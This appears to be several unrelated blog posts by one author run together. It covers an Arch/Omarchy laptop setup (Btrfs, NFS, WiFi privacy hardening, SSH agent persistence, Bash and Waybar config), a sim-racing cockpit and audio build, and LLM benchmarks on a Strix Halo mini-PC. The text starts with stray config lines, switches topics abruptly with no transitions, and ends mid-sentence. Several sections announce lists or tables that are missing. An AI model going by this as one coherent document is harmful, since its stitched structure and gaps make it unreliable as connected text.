TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50

A detail that costs debug time if you forget: Docker and Ollama write gigabytes into /var/lib/docker and /var/lib/ollama. If that falls inside @, snapshots go catastrophic. Each Docker image or Ollama model downloaded triples in size. I created nested subvolumes for both, with chattr +C to disable CoW:

sudo btrfs subvolume create /var/lib/docker
sudo chattr +C /var/lib/docker
sudo btrfs subvolume create /var/lib/ollama

This has to be done BEFORE Docker or Ollama writes any data. If they already have data there, you need to migrate.

NFS to the Synology NAS

My Synology exposes three volumes. On the desktop, I mount them the usual way. On the notebook, it has to be more defensive. The notebook moves around, forgets networks, connects to public WiFi. Notebook’s fstab:

nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2

Critical difference vs the desktop: soft with short timeouts (doesn’t hang forever), x-systemd.idle-timeout=10min (auto-unmount when idle), no network-online.target in the require (doesn’t slow boot). Practical result: cd /mnt/gigachad at home mounts lazily, away from home it fails fast without locking the shell.

Another important detail: my user on the notebook has UID 1026, which matches the share permissions on the Synology. Linux defaults to creating users at 1000, the Synology enforces identity via UID on the wire. If the UIDs don’t match, you can’t read the files, or worse, you write as nobody. I ran the usermod/groupmod from a TTY (with the user logged out) to remap the user to 1026/1026 and did chown -R on /home.

Public WiFi hardening

The notebook will leave the house. In an airport or café, I don’t want to announce hostname, don’t want a trackable MAC, don’t want a service listening on an open port.

/etc/NetworkManager/conf.d/00-macrandomize.conf:

[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy

Random MAC per scan (passive anti-fingerprinting). Stable cloned MAC per SSID (captive portals don’t re-prompt you every time) but different MACs between networks. IPv6 with temporary addresses and interface ID derived from a stable secret, not from the MAC (no EUI-64 leak).

/etc/systemd/resolved.conf.d/hardening.conf:

[Resolve]
LLMNR=no
MulticastDNS=no

Kills hostname broadcast on LLMNR and mDNS. I also disable avahi:

sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket

UFW firewall:

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw --force enable

SSH server is already off by default on Omarchy. Nothing listening. Even if the firewall leaks, there’s no surface.

All of it rolls into a single initial setup ritual.

SSH agent persistence (keyring + keychain)

If you use SSH seriously, you want to type the passphrase once per boot and have ssh, git push, scp stay silent for the rest of the day. On current Arch there’s a catch: gnome-keyring 50 dropped its SSH component, and the replacement (gcr-ssh-agent) is a plain in-memory agent with no passphrase persistence. The “remember this key” checkbox you saw in old guides simply doesn’t exist anymore.

The combination that works has three pieces:

1. gcr-ssh-agent.socket managed by systemd serves SSH_AUTH_SOCK at $XDG_RUNTIME_DIR/gcr/ssh
2. pam_gnome_keyring on SDDM login unlocks the keyring with the login password (used by GUI apps like Brave, not by SSH)
3. keychain (wrapper) keeps an ssh-agent alive across logouts, overrides SSH_AUTH_SOCK to point at that persistent agent, and caches the PID in ~/.keychain/<host>-sh

First, install the keyring:

sudo pacman -S --needed gnome-keyring seahorse keychain

Then edit /etc/pam.d/sddm so the login password unlocks the keyring automatically. Add at the top:

-auth      optional    pam_gnome_keyring.so

And at the end:

-session   optional    pam_gnome_keyring.so    auto_start

The leading hyphen (-auth, -session) marks it optional, so if the module fails to load, login doesn’t break.

Pin SSH_AUTH_SOCK for graphical and TTY sessions via ~/.config/environment.d/ssh-agent.conf:

SSH_AUTH_SOCK=%t/gcr/ssh

%t resolves to $XDG_RUNTIME_DIR, something like /run/user/1026. Enable the gcr socket and user linger (so user daemons survive logout):

systemctl --user enable --now gcr-ssh-agent.socket
sudo loginctl enable-linger $USER

Finally, in ~/.config/bash/init.sh, keychain starts or reuses the agent:

if command -v keychain &>/dev/null && [[ -r ~/.ssh/id_ed25519 ]]; then
  eval "$(keychain --eval --quiet ~/.ssh/id_ed25519)"
fi

--eval emits shell assignments (SSH_AUTH_SOCK, SSH_AGENT_PID) pointing to keychain’s agent, overriding the gcr path set by environment.d. --quiet silences the banner once the key is loaded.

Flow in practice: boot → first terminal → keychain prompts for the passphrase once → key stays loaded. Logout → login again → new shells reattach to the same agent (via ~/.keychain/<host>-sh) → zero prompts. ssh-add -l confirms the key is there, echo $SSH_AUTH_SOCK confirms it’s at keychain’s path.

When you’ll re-enter the passphrase: reboot, ssh-add -D, or keychain --clear. In normal use, once a day.

Bash instead of ZSH

On the desktop I use ZSH. On the notebook I went with Bash to align with Omarchy’s default, without having to maintain a parallel stack of modular layers. ~/.bashrc is a symlink to ~/.config/bash/bashrc, which sources Omarchy’s defaults first and then stacks my customizations:

source ~/.local/share/omarchy/default/bash/rc
source ~/.config/bash/envs.sh
source ~/.config/bash/aliases.sh
source ~/.config/bash/mounts.sh
source ~/.config/bash/init.sh
source ~/.config/bash/secrets    # gitignored, chmod 600

envs.sh has what’s mine: OpenRouter base URL, Ollama pointing to the LAN GPU box (192.168.0.14), AWS region, Hugo analytics, zoxide and SSH agent configs. aliases.sh has TLP shortcuts, an alias for shell-gpt via Docker, and functions to harden PATH when running makepkg or yay (prevents binary injection via a malicious user config).

init.sh does the integration work. Atuin with a manual bind for Ctrl-R (so the up arrow keeps bash’s default history-search, which I use more). Keychain loading ~/.ssh/id_ed25519 once per boot and reusing it across shells (no need to re-authenticate SSH every time). Blesh if installed (ZSH-style autosuggestions for Bash). And a function that has PROMPT_COMMAND set the window title to the current pwd and the running command:

__title_idle() { printf '\033]2;%s\007' "${PWD/#$HOME/~}"; }
__title_busy() {
  local cmd="${BASH_COMMAND}"
  [[ "$cmd" == "__title_"* || "$cmd" == *"PROMPT_COMMAND"* ]] && return
  printf '\033]2;%s — %s\007' "${PWD/#$HOME/~}" "$cmd"
}
if [[ -n "${PROMPT_COMMAND-}" ]]; then
  PROMPT_COMMAND="__title_idle; ${PROMPT_COMMAND}"
else
  PROMPT_COMMAND="__title_idle"
fi
trap '__title_busy' DEBUG

Idle, the title shows just the pwd. With a command running, trap DEBUG catches the BASH_COMMAND and updates the title. Waybar’s hyprland/window picks that up and displays it.

For the modern Rust toolbelt, the list:

sudo pacman -S --needed \
  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine \
  zoxide atuin tldr starship

eza replaces ls. bat replaces cat with syntax highlighting. fd replaces find. ripgrep replaces grep. sd replaces sed. delta plugs into git for colored side-by-side diff. dust for visual du. procs for ps. btm (bottom) for top. duf for df. tokei counts lines of code. hyperfine for command benchmarking. zoxide is cd with memory (very useful). atuin is shell history with encrypted sync (I point it to my home server via sync_address = "http://192.168.0.90:8888"). starship is the prompt. tldr is a man page in 10 lines.

The atuin key has to be backed up offline. If you lose it, you lose the encrypted history. I saved mine in my self-hosted Bitwarden (Vaultwarden), documented in the Bitwarden self-hosted article.

Git pipes diff through delta:

[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3

Hyprland and Waybar

Visual and UX customizations on top of the default.

In hypr/looknfeel.conf, smaller gaps (2/5 vs the default 5/10), slide animation between workspaces, VFR on (reduces consumption when the screen is static), allow_session_lock_restore (if hyprlock crashes, it goes back to the lock screen instead of dumping you on the desktop).

In hypr/bindings.conf:

On Waybar, three custom modules I recommend:

Window title: the hyprland/window module shows what’s focused. In bash, PROMPT_COMMAND updates the title to something like “~/Projects/blog — hugo server”. So in waybar the directory and running command show up, without me needing to look at the terminal.

"hyprland/window": {
    "format": "{title}",
    "max-length": 50,
    "rewrite": { "(.{47}).+": "$1…" }
}

Perf mode: custom/perf runs a script that reads TLP state and shows an icon:

"custom/perf": {
    "exec": "~/.config/scripts/perf-waybar.sh",
    "interval": 3,
    "format": "{}",
    "on-click": "~/.config/scripts/perf-toggle.sh"
}

Empty for balanced, 󰓅 PERF for performance, 󰌪 ECO for low-power. Click toggles. Useful to quickly see what mode the machine is in.

Claudebar: I integrated claudebar as a custom module that shows the Claude Code session usage % and extra spend inline in waybar. No need to open another window.

The clock:

"clock": {
    "format": "{:L%A %d %B - %H:%M}",
    "format-alt": "{:L%A W%V %Y - %H:%M}"
}

Shows “Thursday 17 April - 14:32” by default, click toggles to “Thursday W16 2026 - 14:32” with the ISO week number, useful for planning articles and tasks.

Self-hosted Atuin

Atuin runs on my home server at 192.168.0.90:8888. I made a separate account for the notebook (akitaonrails-thinkpad), I don’t mix history with the desktop on purpose. atuin sync runs every 5 minutes and all history is encrypted before going to the server. The server doesn’t see the commands, only encrypted bytes.

Conclusion: picking a notebook for Linux

One thing I learned on this journey: picking a notebook to run Linux comfortably is not trivial. You have to check the ArchWiki for your specific model before buying. The T14s Gen 6 AMD page, for example, catalogs every hardware quirk and how to work around it. Without that reference, you discover the problems during install.

Rule I follow: never buy a freshly-released model. Let 6 to 12 months go by after launch. That gives the community time to iron out bugs, drivers to land mainline, the ArchWiki to have a decent page, libfprint to include the fingerprint sensor, and the kernel to cover WiFi and the IR camera. Buying on day one means signing up as a beta tester.

Brands with a decent Linux track record: Lenovo (especially Thinkpad, they ship Ubuntu and Fedora pre-loaded), Dell (the XPS and Latitude lines), Asus (Zenbook and ROG have reasonable support), Framework (built for Linux from the factory). Any recent Mac is cut off from Linux mainline or runs through Asahi with caveats.

The Thinkpad T14 Gen 6 isn’t the prettiest notebook I could have bought. But it’s rugged, it has the right ports, the fingerprint sensor works, and the plastic shell lets it fall, get scratched, travel in a backpack without making me nervous. To serve as a remote debug companion, it’s what I needed. If that’s your use case too, I recommend it. If you want OLED and metal, go Zenbook or T14s. Every premium comes with a compromise, no Linux notebook in 2026 is perfect.

Everything I described here is versioned in a private repo of mine. If I need to reinstall tomorrow, I run half a dozen steps in order and I’m back at the same place. That’s the whole point of keeping config in Git: notebook is commodity, config is mine.

But the game that really got me hooked on the simcade genre was the original Gran Turismo, in 1997, on the PlayStation 1. “The Real Driving Simulator” on the cover. I played that game obsessively. Around the same time I was watching the Initial D anime, which premiered in 1998 in Japan. I bought every manga volume and read all of it from start to finish. The story of Takumi Fujiwara going down Mount Akina at dawn delivering tofu in his father’s AE86 is, to me, one of the best motorsport stories ever told in any medium.

I still follow Shuichi Shigeno’s work today. After Initial D came MF Ghost (2017-2025), set in the same universe but in a near future where combustion cars have become museum pieces. And now, since July 2025, I’m reading Subaru and Subaru, the direct sequel that ties the Initial D and MF Ghost universes together with two protagonists named Subaru — one from Gunma, one from Kanagawa — competing in a new racing series. It’s Shigeno at his best.

Two years ago I traveled to Japan with my girlfriend and made a point of going to Daikoku PA, the famous parking area on the Shuto Expressway in Yokohama where the JDM culture concentrates. As an old fan of Tokyo Xtreme Racer, by Genki, I needed to see Daikoku with my own eyes at least once. And it didn’t disappoint. Instead of renting a car, we booked a tour with a local guide in his prepped Nissan GT-R. Better that way. On the drive there he explained the history of the Wangan, how the scene works, what’s YouTube exaggeration and what’s real. When we got there on a Friday night and I saw the whole thing in person — Skyline R34, RX-7, Supra, GT-R, tuned kei trucks, insane bosozoku — the feeling was strange in the best possible way. It looked like Tokyo Xtreme Racer, except with the smell of fuel in the air and the sound of real exhaust pipes.

And there’s another detail: I’m playing the new Tokyo Xtreme Racer reboot on PC, and it’s exactly the kind of game that understands its own audience. Strong single-player campaign, addictive progression, the right vibe, and none of the loot box nonsense. I’d recommend it without hesitation. For the same reason, I’m also really looking forward to Forza Horizon 6, which this time is going to be set in Japan. I’ve already pre-ordered it and I can’t wait to play it on the new cockpit.

Driving for real

Now that I’m semi-retired, I’ve had the chance to take my Mercedes to track days. I’ve driven at Autódromo de Interlagos (the Autódromo José Carlos Pace), the 4.309 km circuit in São Paulo that’s been hosting the Brazilian F1 GP since 1973, famous for the S do Senna corner complex and the circuit’s wild elevation changes. I’ve also driven at Autódromo Velocitta, a modern 3.443 km circuit opened in 2014 in Mogi Guaçu in the interior of São Paulo, which hosts Stock Car Brasil and Porsche Cup.

In Las Vegas I’ve driven supercars on those track-day experiences. And when I traveled with my girlfriend to Gramado, in Rio Grande do Sul, we went to Super Carros, which is on Av. das Hortênsias 4635. They have a 2,400 m² hangar with more than 50 cars — Ferraris, Lamborghinis, Porsches, GT-Rs, Corvettes, American muscle cars. You pick a car, head out with an instructor, and drive a roughly 17 km route between Gramado and Canela. I took out a Nissan GT-R and a Ferrari California.

Three years ago I also went to Abu Dhabi with my girlfriend and we went to Ferrari World, which has some of the best racing simulators I’ve ever tried. Hydraulic platform with 6 degrees of freedom, F1 cockpit, the works. I’ve always loved testing simulators wherever I go.

But driving real cars on real tracks is a very expensive hobby. Tires, fuel, insurance, maintenance, registration. And more important: I’m an introvert. I prefer being alone. My simulator cockpit is perfect for when I want to drive without having to deal with anyone. That’s why I love rally so much — it’s me, the virtual co-driver, and the road. Nothing else.

The games I play

I know most people who build a cockpit like this do it to play serious sims — iRacing, Assetto Corsa Competizione, Automobilista 2. I respect that, but it isn’t my thing. I don’t like playing online with other people. I have zero intention of starting a live streaming career. This is purely for my own enjoyment.

These days I play Gran Turismo 7 on the PS5, Forza Motorsport (the 8, from 2023) on PC, but where I have the most fun is in rally games: EA SPORTS WRC, WRC 10 and DiRT Rally 2.0. My first experience with Forza was on the Xbox One with Forza Motorsport 5 and then Forza Horizon 4, which kept me hooked for hundreds of hours.

And I have a huge soft spot for retro games. The original Colin McRae Rally from 1998 on the PS1 was my first rally game. But my favorite of all time is Colin McRae Rally 2.0 (2000), also on the PS1. I recently played through the entire campaign again on the PC version — you can find repacks that run in high resolution and widescreen, much better than the original PlayStation versions. I’d recommend that for any of the titles in the series.

After that came Colin McRae 3 (2002), Colin McRae Rally 04 (2003) and Colin McRae 2005 (2004). Other arcades I revisit often: OutRun 2 SP (2004) and OutRun 2006: Coast 2 Coast (2006) — the best OutRun ever made, in my opinion.

But my game of the year, by a long shot, is Super Woden: Rally Edge. An indie made by a solo developer (ViJuDa, from Spain) that launched in January 2026 for less than R$ 60. Eight countries, more than 80 cars, a career mode, local split-screen multiplayer for up to 4 players, online leaderboards. The behind-the-car camera instead of the top-down view of the previous Super Woden GP made all the difference. 96% positive reviews on Steam with more than 1,300 ratings. It’s the kind of game that proves you don’t need a million-dollar budget to make something amazing.

The evolution of my wheel setup

Logitech G29 era (~2015-2021)

I always wanted a racing wheel. I started over 15 years ago with something equivalent to Logitech’s entry-level wheel, a G29. The G29 is a fine wheel to start with — gear-driven force feedback, pedals with a clutch, 900 degrees of rotation. But its force feedback is noisy and a bit crude. You can feel the gears turning.

Thrustmaster T300RS + SXT V2 stand era (~2021-2024)

Around 2021 I upgraded to the Thrustmaster T300RS, a belt-driven wheel that’s a huge jump up from the Logitech. The force feedback is much smoother and more precise. And I bought the Extreme Sim Racing SXT V2 stand, which is much sturdier than those generic desk clamps.

First I set it up in front of my desktop PC, which at the time had an RTX 3090. It worked, but it was a hassle to keep mounting and unmounting the stand and the cables every time I wanted to play.

Then I built a setup with a long fiber-optic HDMI cable to connect my 60" TV to the PC at the back of the room. I moved the stand in front of the couch. Less of a hassle, but I still had to take it down whenever I wanted to watch a movie with my girlfriend.

Around 2024 or 2025 I swapped my couch for one of those VIP cinema couches from Star Seat, which reclines and the whole nine yards. The problem: it was way taller than the previous couch. I had to do all kinds of workarounds to make the stand work at that height. I even 3D-printed mounts and sent them to PCBWay to machine steel plates so I could attach big wheels under the stand and gain a few centimeters of height. But that left the setup way too wobbly to drive comfortably.

Fanatec CSL DD + Direct Drive era (~2024-2025)

In the meantime I gave the T300 to my brother and upgraded to a Fanatec CSL DD Gran Turismo Edition. The CSL DD’s direct drive motor delivers 5 Nm of torque at the base, but the Gran Turismo DD Pro kit comes with the Boost Kit 180 that brings it up to a sustained 8 Nm with no active cooling. Direct drive means there’s no gear or belt between the motor and the wheel — the motor’s shaft IS the wheel’s shaft. The difference is absurd. The T300 was already great, much better than the Logitech. But the Fanatec is on another level. You feel every asphalt texture, every bump, every incipient slide. There’s no going back once you try it.

I bought it together with the CSL Pedals with Load Cell kit, which measures pressure on the brake instead of displacement. Makes all the difference in braking — you learn to modulate by foot pressure, not by how far the pedal moves. Way more natural.

I also wanted to try the H-pattern manual shifter with the ClubSport Shifter SQ V1.5 from Fanatec and a separate handbrake. It’s fun to try out old cars with a clutch and an H-pattern, but in practice I never adapted. The SXT V2 stand was already shaking a lot with the direct drive, and using the shifter on that unstable setup was frustrating. And I know there are people who want to do heel-toe, but in the simulator I prefer to keep my left foot on the brake and my right on the gas and modulate both at the same time. Works better for me. Now that I have the McLaren wheel with the analog handbrake and clutch paddles right on the wheel, the H-pattern shifter and the external handbrake have been retired. For rally, an analog handbrake on the wheel is much more natural.

I also bought the PS5 with Gran Turismo 7 around this time. I put on the dbrand Darkplates matte black faceplates to replace the original white plates — it looks much better and more discreet.

But the setup was still the SXT V2 stand in front of the VIP couch. The same kludge. The same wobble. I obviously wasn’t going to give up the cinema couch. The situation became unsustainable.

The computer and the hardware setup

A note on my gaming hardware. I bought a Minisforum UX790 Pro to be my dedicated Steam machine. It’s a mini-PC with an Intel Core Ultra 9 285H processor, fits in the palm of your hand. Together I bought the Minisforum DEG1, an external GPU dock that connects via OCuLink (PCIe 4.0 x4, 64 GT/s). It’s an open design — basically a board with a PCIe x16 slot and room for an ATX or SFX power supply. There’s no card size limit, so an RTX 4090 fits comfortably. The performance loss compared to a native PCIe slot is minimal. I put the RTX 4090 in it. The 4090 came from my desktop — at the start of 2025 I went to Miami and took the chance to buy an RTX 5090 because I was using more and more local AI and LLMs. I gave my old 3090 to my girlfriend to use for video editing. The 4090 went into the mini-PC.

So my gaming setup today is: Minisforum UX790 Pro + eGPU with RTX 4090 for Steam and PC games, and a PlayStation 5 with matte black Darkplates for Gran Turismo 7 and exclusives.

The cockpit: Formula FX1

To round out the setup I also needed a decent monitor. I was already used to my 80" Samsung OLED TV in the living room and didn’t want to downgrade picture quality. So I invested in the Samsung Odyssey OLED G8 32". It’s a 4K (3840x2160) OLED monitor with a 240 Hz refresh rate, 0.03 ms response time (GTG), HDR True Black 400, HDR10+, 99% DCI-P3 coverage, 1,000,000:1 contrast, and FreeSync Premium Pro. It has 2 HDMI 2.1 inputs and 1 DisplayPort 1.4.

In practice: the colors pop, black is real black (it’s OLED, no backlight), and with the RTX 4090 I run most games at 4K and 120 fps with no problem. On lighter titles like Super Woden: Rally Edge, it easily hits 240 Hz. The smoothness is absurd. For a cockpit where you’re 60-70 cm from the screen, 32" OLED in 4K is the sweet spot. Bigger and you start to see pixels. Smaller and you lose the immersion.

In January 2026, after years of kludges, I finally ordered a dedicated cockpit. I researched a lot. I considered the Cockpit AX160, made of aluminum profile and very modular, and the Cockpit 4.0, which is the more traditional tubular steel kind. But neither was available at the time of purchase. And then I found the Formula FX1 in black and green from Extreme Racing — Petronas colors, F1-styled.

The FX1 is very different from traditional cockpits. The whole structure is welded thick steel tubing. When I say it doesn’t shake, I mean it doesn’t shake at all. Zero wobble. It’s a brutal difference compared to a stand in front of the couch. The driving position is reclined, F1-style — your feet are at the same height or higher than your hips. You’d think it would be uncomfortable, but it isn’t. You can sit there for hours without complaining. It comes with a padded adjustable seat, an articulating monitor mount, a tilt-adjustable pedal mount, and a height-adjustable wheel mount.

I had to wait about a month for delivery. In the meantime, as anyone who follows my blog knows, I dove into a 16-hour-a-day marathon testing the new AI agents from Anthropic and OpenAI — check the #vibecoding and #agents tags to see everything I built. After about 30 days of that insane marathon, my lower back gave out and I started developing what looks like a herniated disc. I had to see a doctor and take heavy anti-inflammatories.

And right that week, the cockpit decided to arrive.

The build

I was in absurd pain, but I built the cockpit anyway. It took an entire day to unbox and assemble the heavy steel pieces with my back screaming, but I did it.

The official assembly video I followed:

The McLaren GT3 V2 wheel

After assembling the cockpit, I decided that the standard wheel that comes with the CSL GT kit wasn’t enough. I upgraded to the Fanatec CSL Elite McLaren GT3 V2 (~R$ 4,990). It’s a 1:1 scale replica of the McLaren GT3 wheel, with carbon fiber, an OLED display, and compatibility with PC, Xbox, PS4 and PS5.

What I like most about it: it has the normal shift paddles behind it (shift up/down), but it also has two additional analog paddles that can be configured in four different modes. In mode B, which is what I use, the left paddle works as an analog handbrake and the right one as an analog clutch. That’s perfect for rally — I can pull the handbrake mid-corner without taking my hand off the wheel. It also has two 2-position toggles, two 12-position rotaries, 7 standard buttons with interchangeable caps, and Fanatec’s 7-direction FunkySwitch. It’s a complete racing controller.

The final setup

The cockpit ended up in a corner of my bedroom, between the manga shelves (you can spot Akira, Initial D, and 500-something other volumes in the background). I mounted the mini-PC and the PS5 on the cockpit’s side structure, together with the eGPU and the RTX 4090. Everything stays permanently connected. That’s what makes the difference: I no longer have to set anything up or take it down. I sit, turn it on, and I’m driving in 30 seconds.

The audio system

To round out the setup I needed dedicated audio. I didn’t want to use the monitor’s audio (terrible) and I didn’t want to be on a headset all the time. The fix was to build a separate audio system with HDMI audio extraction.

The centerpiece is an HDMI 2.1 switcher from OREI with audio extraction. It has 2 inputs and 1 HDMI output, supports 4K at 120Hz (48 Gbps of bandwidth), and extracts the audio through optical TOSLINK and 3.5mm. I connect the HDMI output of the RTX 4090 to one input and the PS5 to the other. Video goes to the monitor. Audio goes out through the optical port.

The optical audio goes to an Aiyima D03 amplifier, a compact 2.1 channel amp with 150W per channel, integrated DAC (PCM1808 chip), and Bluetooth 5.0 with aptX HD. It has optical, coaxial, USB, RCA and Bluetooth inputs. It even has a dedicated subwoofer output for when I get around to adding one. It uses Texas Instruments’ TAS5624 amplifier chip and has bass and treble control through the remote. For a cockpit setup where you’re 1 meter from the speakers, 150W is more than enough.

In practice, I keep the amp at 50% and Windows volume at 50%, and that’s already loud as hell. Which is to say: this isn’t a “good enough” little system. It’s set up to actually go loud if I want.

The speakers are Edifier P12, passive, with a 4-inch woofer and a 19mm tweeter. Frequency response from 55Hz to 20kHz, 6 ohm impedance, 20W RMS each. The MDF cabinet with wood finish has a rear bass-reflex port that helps the lows. For passive speakers this size, they deliver well. The mid-range is clean and the highs don’t distort even at high volume.

The setup logic is: HDMI switcher handles the switching between PS5 and PC, extracts audio to optical, the amp converts and amplifies, and the passive speakers deliver the sound. All without having to touch the monitor or swap cables. I press a button on the switcher and switch consoles.

When I want to play without bothering anyone, I plug my Meze 109 Pro directly into the 3.5mm output of the HDMI switcher. The Meze 109 Pro is an open-back headphone with 50mm dynamic drivers, 40 ohm impedance, 112 dB SPL/1mW sensitivity, and 5Hz to 30kHz response. The ear cups are walnut wood with handcrafted finish. It’s an audiophile headphone that works perfectly without a dedicated amplifier thanks to the low impedance. The sound is warm, with full bass and rich mids. You can hear every detail of the engines.

I haven’t decided about a subwoofer yet, but it’ll be my next upgrade. A dedicated sub is going to add that low-end weight that makes you feel the engine in your chest.

The verdict

The couch with a stand works. The PC desk with a stand works. But neither comes anywhere close to a dedicated cockpit. The FX1’s steel structure doesn’t move a millimeter, even with the Fanatec direct drive at max torque. The reclined F1 position is comfortable for sessions of hours. The load cell pedals stay firm on the base. The monitor is exactly at the right height and distance. And best of all: it’s always ready. I don’t need to assemble anything, take anything down, run cables, none of it. I sit and I drive.

For anyone who’s wondering whether it’s worth investing in a dedicated cockpit instead of staying with a desk or couch stand: it is. If you already have a direct drive wheel, the cockpit is the missing piece. I spent years thinking “this is fine” with the stand on the couch. It wasn’t fine. The difference in driveability is something else entirely. And for my case — introvert, single-player only, simcade — I couldn’t have built it any sooner. To be honest, I think I’ve finally landed on the simulator setup that’s perfect for my taste.

Shopping list: how much it all cost

Here’s the consolidated list of everything in my current setup, with approximate prices (some were bought in dollars and converted to reais at the time’s exchange rate):

Yes, almost R$ 57k is a lot of money. I worked like a dog for decades. Now that I’ve managed to retire honestly, my family is well taken care of, I have no debts, and I can finally give myself something I always wanted as a kid but couldn’t afford. When I sat at those OutRun and Daytona USA cabinets at the arcade, I dreamed of having something like this at home. It took 30-something years, but I got there.

And if you add up the years of kludges, stands that didn’t work, 15-meter HDMI cables, 3D prints, machined steel plates, and the frustration of mounting and unmounting everything — a dedicated cockpit saves your sanity. Unlike a PC that depreciates fast, a steel cockpit lasts decades.

I bought a Minisforum MS-S1 Max with the new AMD Ryzen AI Max+ 395 chip for one specific reason: this chip supports up to 128GB of unified RAM, and I can allocate 96GB of it as VRAM for the iGPU. That gives me more VRAM than any consumer gaming card, including the RTX 5090 (32GB). And that changes what I can run locally.

Why ditch the Intel NUC

The NUC was a fine Docker server for two years. But the limitation was clear: without a GPU with enough VRAM, I couldn’t run LLMs locally in any usable way. Frank Yomik, my automatic manga translation system, needed CPU-based OCR (slow) and would connect remotely to the Ollama running on my desktop (AMD 7950X3D + RTX 5090) for translation. It worked, but it meant my desktop had to be on for the server to do its job.

With the Minisforum, Frank Yomik now runs entirely on the server. The worker uses ROCm for OCR on the iGPU, and Ollama runs locally with 96GB of VRAM. Zero dependency on the desktop.

You can get a sense of the size from the photo. The NUC is the tiny cube on the left. The Minisforum is bigger but it’s still a mini-PC. It fits on the rack shelf under my Synology NAS without any trouble.

The specs

The chip is the AMD Ryzen AI Max+ 395: 16 cores / 32 threads Zen 5, with an integrated Radeon 8060S iGPU and 128GB of unified LPDDR5X. In the BIOS, I set the UMA Frame Buffer Size to 96GB, which leaves ~30GB of RAM for the operating system and containers. Plus the kernel parameters for TTM (without them, ROCm only sees 15.5GB even with the BIOS allocation in place).

The operating system is openSUSE MicroOS (more on that in the next post). The whole machine pulls under 100W, which is absurd if you’re used to dedicated GPUs that draw 450W+ on their own.

Minisforum vs my desktop: benchmarks

I ran a set of benchmarks comparing the Minisforum against my desktop (AMD 7950X3D, 96GB DDR5, RTX 5090 32GB GDDR7). The results are clear.

CPU

Mixed results. The AI Max+ 395 is better at pure parallelism (multi-core sieve), probably thanks to lower latency in the unified memory architecture. The 7950X3D wins at float and crypto because of its higher clocks and the 3D V-Cache.

LLM inference (models that fit on both)

This is where it gets interesting. For models that fit in the 32GB of the RTX 5090, the comparison is purely about memory bandwidth:

The RTX 5090 is ~7x faster. The explanation is simple: GDDR7 has ~1,792 GB/s of bandwidth. LPDDR5X has ~256 GB/s. The ratio (7x) lines up almost exactly with the measured speed difference (6.7x). LLM inference is a problem dominated by memory bandwidth. Whoever reads weights faster, generates tokens faster.

And what about prompt processing?

Prompt processing is even worse: 7-11x slower. That makes sense, because the prompt has to be processed in full before generating the first token, and it’s an even more bandwidth-intensive operation.

Where the Strix Halo wins: large models

Now we get to the reason I bought this PC. Models that don’t fit in the RTX 5090:

qwen3.5:122b with 81GB of weights running at 19 tok/s. On a mini-PC. That’s simply not possible on an RTX 5090. On the NVIDIA card, that model would have to offload layers to system RAM, dropping to 2-3 tok/s. In practice, unusable.

The difference between MoE and dense models is brutal. qwen3.5:35b runs at 43 tok/s because, despite having 35B total parameters, only ~4B are active per token. A dense 72B model like qwen2.5:72b has to read 40GB+ of weights per token, and at 256 GB/s of bandwidth, the theoretical maximum is ~6.7 tok/s. The 4.5 measured represent ~67% efficiency, which is what you’d expect for an iGPU (overhead from shared bus and drivers).

Summary: when to use which machine

A ROCm bug that’s still around

Not everything works. Models like deepseek-r1:70b, llama3.3:70b and llama4:scout crash with a ggml bug (GGML_ASSERT(ggml_nbytes(src0) <= INT_MAX) failed). The embedding tensor of these models exceeds 2GB and the ROCm copy kernel uses a 32-bit integer for the size. On CUDA (NVIDIA) it’s already been fixed, but on ROCm it hasn’t. Waiting for the fix in Ollama 0.20.0+.

LPDDR5X vs GDDR7: why this difference exists

The next question is: why is LPDDR5X so much slower?

GDDR7 is dedicated GPU memory. It’s soldered onto the graphics card, connected by a wide bus (384 or 512 bits on the RTX 5090) at high clocks. Its only job is to feed data to the GPU. LPDDR5X is unified memory that serves everything: the operating system, applications, and the GPU all at once. The bus is narrower and shared.

In practice: GDDR7 delivers ~1,792 GB/s dedicated to the GPU. LPDDR5X delivers ~256 GB/s that still need to be split between CPU and GPU. LLM inference is basically “read all the model weights from memory, multiply by the current token, generate the next token, repeat.” Whoever reads faster, generates faster. There’s no shortcut.

The Strix Halo’s advantage isn’t speed. It’s capacity. 96GB of VRAM in a 100W chip that costs a fraction of a professional GPU. The RTX 5090 is 7x faster, but it’s stuck at 32GB. Models that don’t fit, don’t run.

The alternatives: who else does this?

If 96GB isn’t enough or you want more speed, the options are limited.

The Framework Desktop uses the same AI Max+ 395 chip with up to 128GB of RAM. Same platform, same performance, but with the differential of being modular and repairable (it’s Framework, after all). In practice it’s equivalent to the Minisforum on specs and price.

Above that, the alternative is a Mac Studio with M3 Ultra. The M3 Ultra chip supports up to 512GB of unified memory, with ~819 GB/s of bandwidth (more than 3x the Strix Halo). Apple manufactures the memory chips on the package, so latency and bandwidth are superior. You could potentially allocate ~400GB as VRAM and run models that don’t fit anywhere outside of professional GPU servers.

Apple’s internal NVMe is also another level: ~7.4 GB/s of sequential read on the M3 Ultra, compared with ~14 GB/s on the Crucial T700 (PCIe 5.0). The T700 is faster on raw throughput, but Apple’s NVMe latency tends to be lower on random I/O thanks to the SoC integration.

The Brazilian price is the elephant in the room. The Mac Studio’s max config costs $9,999 in the US. With import taxes (~60% + state ICMS), it goes past R$ 110,000. The Minisforum with 128GB lands at R$ 12,000-15,000. A nearly 8x price gap buys you a lot.

If you need more than 96GB of VRAM for truly enormous models (DeepSeek-V3 with 671B parameters fits in ~400GB Q4, for example), the Mac Studio with 512GB is the only consumer option. The alternative would be professional NVIDIA A6000 GPUs (48GB VRAM, ~$6,000 each, and you’d need several in NVLink). For everything that fits in 96GB, the Minisforum gets the job done at a fraction of the cost.

And projects that promise to run big LLMs on small GPUs?

